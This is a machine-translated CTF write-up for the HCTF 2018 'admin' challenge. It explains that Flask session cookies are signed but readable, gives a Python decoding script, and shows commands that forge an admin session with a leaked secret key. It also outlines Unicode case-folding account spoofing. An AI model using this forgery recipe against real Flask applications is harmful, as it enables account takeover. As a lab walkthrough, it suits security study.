当前位置:网站首页>Flask session forged hctf admin
Flask session forged hctf admin
2022-07-07 13:48:00 【A traveler】
Knowledge point :
flask Of session It's stored on the client side cookie Medium , and flask Only the data is signed . It is well known that , Signature is tamper proof , And cannot be prevented from being read . and flask No encryption operation is provided , So its session All the contents of can be read on the client . Still some session It is stored in the database or in the file of the server .
About only admin To read flag The subject of , We can fake it session To achieve identity forgery ;
Steps are as follows :
There must be a forged code : Download address :https://github.com/noraj/flask-session-cookie-manager
1. First get the website session value ,F12 cookie Get... Inside , And then session To decrypt : Decrypt a lot of scripts online ; What I have here is :
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
The code can be placed from https://github.com/noraj/flask-session-cookie-manager Downloaded session Forge encrypted code files to match cmd Use
Usage method :python session Decrypt .py session value
for example :
>python session Decrypt .py eyJ1c2VybmFtZSI6eyIgYiI6IlozVmxjM1E9In19.XyZ3Vw.OcD3-l1yOcq8vlg8g4Ww3FxrhVs
result :
2. Will decrypt the obtained session To forge , Forgery requires a key , So we need to find its key to forge : Generally, it is forged admin, Just change the user name to admin
Usage method : The flask Forge encryption and decryption , What is commonly used here is encode ,
sentence : python flask_session_cookie_manager3.py encode -s " secret key " -t "session Decryption result ( After changing the user name )"
for example
python flask_session_cookie_manager3.py encode -s "woshicaiji" -t "{'username': b'admin'}"
3. Will be forged session Re input cookie;
HCTF admin For example :
First of all, we can register an account and password randomly , You can get tips in the source code of the password change interface , The useful source code is in the prompt ;
The source code of this problem needs to be found in the tips given , Refer to others for specific process wp, Anyway, after getting the download path, first look at the route route Although there is nothing in this problem ;
Reference resources :BUUCTF [HCTF 2018]admin 1_wow Xiaohua's blog -CSDN Blog
1.session Copy down : Decrypt session;
python session Decrypt .py .eJw9kMGKwkAMhl9lydmDrfUieFmmWyokpVIdJhdRW52mHXepSrXiu--sCx5yyffz_SQP2By66mxhdumu1Qg2dQmzB3zsYAYoaU8JO0zSidHccrKKSOfjrGh6lP3AOr8ZySNWq5CGZoIO71nCFoeFIzFTlnXNydJSkgY4lK3P9KzTkIo4ILcQktKSxBFJGpnC3EjF90xjkOl0IPVpjcRTP76vbLLCCqnS-pxnec8q7llYjNiWnZnDcwT7c3fYXL6b6vQ-gYr85iun5OK7CfMIw2WLxT7EP4UsLMra-V2NqgnYrSVTX0L9_KWr3fZYvU2m_dF0_CenrfMAgnACI7ieq-71NQjG8PwFEfNsnQ.YsLkGA.-IhgD3h5Rju-WwMa4YbLJO69j6I
obtain :
{'_fresh': True, '_id': b'2204ff0b7afede85d4990273ed1b48d567972c28fa32f669f5bdda4b537e790eb65156bc67a618628a614129c59b340ab19b1497d98c47aa63440d10f6cb8eff', 'csrf_token': b'541eb96a2cd83de176040f2a25f3db095fec81c7', 'image': b'bZV6', 'name': '123', 'user_id': '10'}
Will be one of the name value 123 Change it to admin after forge ;
The key here is config.py in ;
2. Direct forgery :
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'2204ff0b7afede85d4990273ed1b48d567972c28fa32f669f5bdda4b537e790eb65156bc67a618628a614129c59b340ab19b1497d98c47aa63440d10f6cb8eff', 'csrf_token': b'541eb96a2cd83de176040f2a25f3db095fec81c7', 'image': b'bZV6', 'name': 'admin', 'user_id': '10'}"
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'2204ff0b7afede85d4990273ed1b48d567972c28fa32f669f5bdda4b537e790eb65156bc67a618628a614129c59b340ab19b1497d98c47aa63440d10f6cb8eff', 'csrf_token': b'541eb96a2cd83de176040f2a25f3db095fec81c7', 'image': b'bZV6', 'name': 'admin', 'user_id': '10'}"
result :
.eJw9kMGKwkAMhl9lydmDrfUieFmmWyokpVIdJhdRW52mHXepSrXiu--sCx5yyffz_SQP2By66mxhdumu1Qg2dQmzB3zsYAYoaU8JO0zSidHccrKKSOfjrGh6lP3AOr8ZySNWq5CGZoIO71nCFoeFIzFTlnXNydJSkgY4lK3P9KzTkIo4ILcQktKSxBFJGpnC3EjF90xjkOl0IPVpjcRTP76vbLLCCqnS-pxnec8q7llYjNiWnZnDcwT7c3fYXL6b6vQ-gYr85iun5OK7CfMIw2WLxT7EP4UsLMra-V2NqgnYrSVTX0L9_KWr3fZYvU2m_dF0_CenrfMAtqWrTzCC67nqXn-DYAzPX_3EbhA.YsLnVA.f91nHdCGekSIwqWqz9T9cba5tkA
3. Re enter the above results cookie Medium session , Refresh ; You can see flag;
This problem passed the code audit , You can also see a function vulnerability :
Unicode cheating
strlower() Leading to deception , Reference resources
HCTFadmin-- About flasksession Forgery and unicode The deception of _Z3eyOnd The blog of -CSDN Blog
That is, through query Unicode Special code for , for instance A Yes. ᴬ , If we register ᴬdmin , The function will put ᴬ It can be interpreted as A; If you change your password or log in again, you will A It can be interpreted as a; So as to achieve the goal ;
There is also conditional competition ; Refer to the link above ;
边栏推荐
- 室內ROS機器人導航調試記錄(膨脹半徑的選取經驗)
- MySQL error 28 and solution
- Build a secure and trusted computing platform based on Kunpeng's native security
- 2022-7-7 Leetcode 34. Find the first and last positions of elements in a sorted array
- Mongodb slice summary
- [1] Basic knowledge of ros2 - summary version of operation commands
- 1、深拷贝 2、call apply bind 3、for of for in 区别
- JS function returns multiple values
- 《厌女:日本的女性嫌恶》摘录
- Sliding rail stepping motor commissioning (national ocean vehicle competition) (STM32 master control)
猜你喜欢
随机推荐
云计算安全扩展要求关注的安全目标和实现方式区分原则有哪些?
566. 重塑矩阵
Distributed transaction solution
【日常训练】648. 单词替换
Leecode3. Longest substring without repeated characters
Mongodb slice summary
干货|总结那些漏洞工具的联动使用
参数关键字Final,Flags,Internal,映射关键字Internal
2022-7-6 Leetcode 977.有序数组的平方
Supply chain supply and demand estimation - [time series]
566. Reshaping the matrix
2022-7-7 Leetcode 34. Find the first and last positions of elements in a sorted array
10 pictures open the door of CPU cache consistency
记一次 .NET 某新能源系统 线程疯涨 分析
JS slow motion animation principle teaching (super detail)
Write it down once Net a new energy system thread surge analysis
cmake 学习使用笔记(一)
Battle Atlas: 12 scenarios detailing the requirements for container safety construction
.net core 关于redis的pipeline以及事务
数字ic设计——SPI